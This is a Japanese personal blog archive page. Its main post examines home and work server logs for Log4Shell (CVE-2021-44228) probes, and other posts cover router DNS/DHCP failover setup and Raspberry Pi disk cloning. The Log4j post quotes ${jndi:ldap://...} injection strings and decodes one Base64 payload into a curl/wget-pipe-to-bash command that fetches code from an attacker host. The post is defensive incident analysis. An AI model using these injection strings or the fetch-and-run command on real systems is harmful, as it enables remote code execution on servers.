ホーム » t-saitoh の投稿 (ページ 40)

作者アーカイブ: t-saitoh

Java Log4j 攻撃が自宅サーバにも来ている？

2021-12-13

JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。

UserAgent で履歴確認

こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。

この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。

アクセスログの見方

[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。

試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。

[~]# dig -x 68.183.207.73
:
;; AUTHORITY SECTION:
207.183.68.in-addr.arpa. 957    IN      SOA
  ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略)
[~]# whois kryptoslogic-cve-2021-44228.com
(略)

これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。

jndi:ldap の履歴確認

ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。

[~]# cd /var/log/apache2 
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"

すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…

わちゃ、こりゃ悪意の塊…

同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。

45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"

後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると

(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80
 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80)  # xx.xx.xx.xx は攻撃対象のIP
|bash

なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。

たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。

[~]# dig -x 45.155.205.233
(略)
;; AUTHORITY SECTION:
205.155.45.in-addr.arpa. 1258   IN      SOA
   pns21.cloudns.net. support.cloudns.net. (略)
[~]# whois cloudns.net
(無料のDNSサービスなのであまりいい情報が無い)

[~]# ping 45.155.205.233
[ping 反応なし]
[~]# nmap 45.155.205.233
[nmap 反応なし]

たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。

まとめ記事へのリンク

Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた

Log4j に関連するパッケージ

Log4j は色々な使われ方をしているようなので、一応確認。

(( log4j という名前を含むパッケージの検索 ))
[~]# dpkg -l | grep log4j
ii  liblog-log4perl-perl  1.54-1  all  Perl port of the widely popular log4j logging package
(( liblog-log4per-perl に依存しているパッケージを探す ))
[~]# aptitude purge liblog-log4perl-perl
:
以下のパッケージには満たされていない依存関係があります:
 munin : 依存: liblog-log4perl-perl インストールされません

今年買ってよかったもの

2021-12-11

コロナで旅行もあまり行けず、今年を振り返るのは買い物ぐらいか。

パソコン関係では、今年やたらと遅くなってきたので、ちょっと速くなればと買った SSD 。予想以上に効果があった。あと1,2年は耐えられるようになったな。

あと、今年はダイエット＆体力づくりで簡単な山にハイキングをするようになったけど、色々やってると下山時につま先が痛くなったり、膝が痛くなったり。きちんとつま先を固定できる靴が重要だった。とはいってもワークマンの2000円の靴だけど。んで、下山の膝の衝撃をやわらげるストック。これもアマゾンで4000円ほど。

@TohruSaitoh-21/12/10

2021-12-10

12/10 某?某?某?某?某?
12/08 RT @FlexiSpot_JP: FLEXISPOT×井上純一
弊社の電動昇降デスクE7と井上純一様の漫画がコラボ??
抽選で１名様にコラボデスクを?

応募方法??
??????????????????????????????????????????? @FlexiSpo…
12/07 予算執行で、Raspberry-Piとか発注かけたけど「半導体不足で納期未定だそうです、キャンセルします？」、「ルータも納期1カ月over…」そんなんばっかり。
12/07 @hIDDEN_xv インド人にすれば、カレー(i), ごはん:和(j) , カツ:洋(k) の3次元ベクトル空間だと思うんじゃね。 [$(D+)??$(D+2¨?$(D+#”k?]

FM福井

12/08 朝のラジオの番組で「幸せとは share するもの」との言葉があった。いい言葉じゃん。 #FM福井

Windows10

11/23 winget upgrade –all 、最強だけどデスクトップのショートカット作るのやめさせられんかな。
#Windows10 #winget

ピクミン

11/20 頑張って歩いてるぞっ??
#ピクミン https://twitter.com/TohruSaitoh/status/1…

先生○んこ付いてたらごめんなさい

11/28 それはね、今から娘が提出するレポートなの…。
#先生○んこ付いてたらごめんなさい https://twitter.com/yamano_rinrin/status… https://twitter.com/TohruSaitoh/status/1…

この記事は@TohruSaitohのつぶやきのまとめです。

edgerouter-x の DNS fowarding 設定

2021-12-06

EdgerouterでキャッシュDNS を動かす

自宅サーバが落ちた時のDNSトラブル対策で、自宅内で運用しているEdgerouter-xをDNSの予備として稼働させるための設定。
options の欄は dnsmasq.conf の設定を読めと書いてあったので、ググりながら設定してみた。

ubnt@ubnt# show service dns forwarding
 cache-size 1200
 listen-on switch0
 name-server 8.8.8.8
 name-server 8.8.4.4
 name-server 192.168.xx.xx                             ## ルータのDNSを参照
 options server=/tsaitoh.takefu.fukui.jp/192.168.xx.yy ## 自宅内の正引き
 options server=/tsaitoh.net/192.168.xx.yy             ## 自宅ドメイン正引き
 options server=/168.192.in-addr.arpa/192.168.xx.yy    ## 自宅内の逆引き

自宅内のDHCPでは、自宅内DNSと、edgerouter-x を参照するように既に設定されている。
試しにメインサーバで “systemctl stop named” で DNS を停止した状態で、パソコンでブラウザを操作したけど問題なくWeb を使える。自宅内のホスト名もキャッシュの範囲でちゃんと動くかな。

DHCP failover を Edgeroute で運用

DNSの設定を見直していたら、Edgerouter-x には、DHCP の failover 機能(2台目のDHCP機能) の設定がある。たまにメインサーバが落ちた時に、自宅ネットワーク環境が一切動かなくなるので、Edgerouter で DHCP failover を運用してみる。

ubnt@ubnt# show service dhcp-server
 disabled false
 :
 shared-network-name localnet {
     :
     subnet 192.168.xx.0/24 {
         default-router 192.168.xx.xx
         dns-server 192.168.xx.xx
         dns-server 192.168.xx.yy
         domain-name tsaitoh.takefu.fukui.jp
         failover {
             local-address 192.168.xx.yy
             name edgerouterx
             peer-address 192.168.xx.xx
             status secondary
         }

リングフィットボクシング2

2021-12-04

raspberry-pi のディスク容量増

2021-12-03

自宅内の色々な処理(温湿度モニタリング, 家電リモコン制御, homebridge)をさせている、Raspberry-Pi のディスク容量(8GB) の容量が不足してきた。大した処理はしていないし、不要なパッケージは消していたけど、homebridge などを使っていたりで、ギリギリになってきた。

Raspberry Pi の SDD交換&拡張

しかたがないので、32GB SDD を買ってきて、イメージファイルでコピーを行う。

((( 元のraspberry-piのイメージ吸い出し )))
$ sudo dd bs=4M if=/dev/sdd of=~/rpi.img
((( 新しいSDDにイメージを書き戻し )))
$ sudo dd bs=4M if=~/rpi.img of=/dev/sdd
((( 新しいSDDでraspberry-piを起動し ))) 
$ sudo raspi-config --expand-rootfs

tsaitoh.net

作者アーカイブ: t-saitoh

システム

最近の投稿

アーカイブ

カテゴリー

Java Log4j 攻撃が自宅サーバにも来ている？

UserAgent で履歴確認

jndi:ldap の履歴確認

わちゃ、こりゃ悪意の塊…

まとめ記事へのリンク

Log4j に関連するパッケージ

今年買ってよかったもの

@TohruSaitoh-21/12/10

FM福井

Windows10

ピクミン

先生○んこ付いてたらごめんなさい

edgerouter-x の DNS fowarding 設定

EdgerouterでキャッシュDNS を動かす

DHCP failover を Edgeroute で運用

リングフィットボクシング2

raspberry-pi のディスク容量増

Raspberry Pi の SDD交換&拡張

ウザぃ下僕

冬へとまっしぐら

今日のウォーキング

紅葉の西山公園

投稿ナビゲーション

Google 検索

Microsoft

ファンサイト

メタ情報

作者アーカイブ: t-saitoh

システム

最近の投稿

アーカイブ

カテゴリー

UserAgent で履歴確認

jndi:ldap の履歴確認

わちゃ、こりゃ悪意の塊…

まとめ記事へのリンク

Log4j に関連するパッケージ

FM福井

Windows10

ピクミン

先生○んこ付いてたらごめんなさい

Edgerouterで キャッシュDNS を動かす

DHCP failover を Edgeroute で運用

Raspberry Pi の SDD交換&拡張

投稿ナビゲーション

Google 検索

Microsoft

ファンサイト

メタ情報

EdgerouterでキャッシュDNS を動かす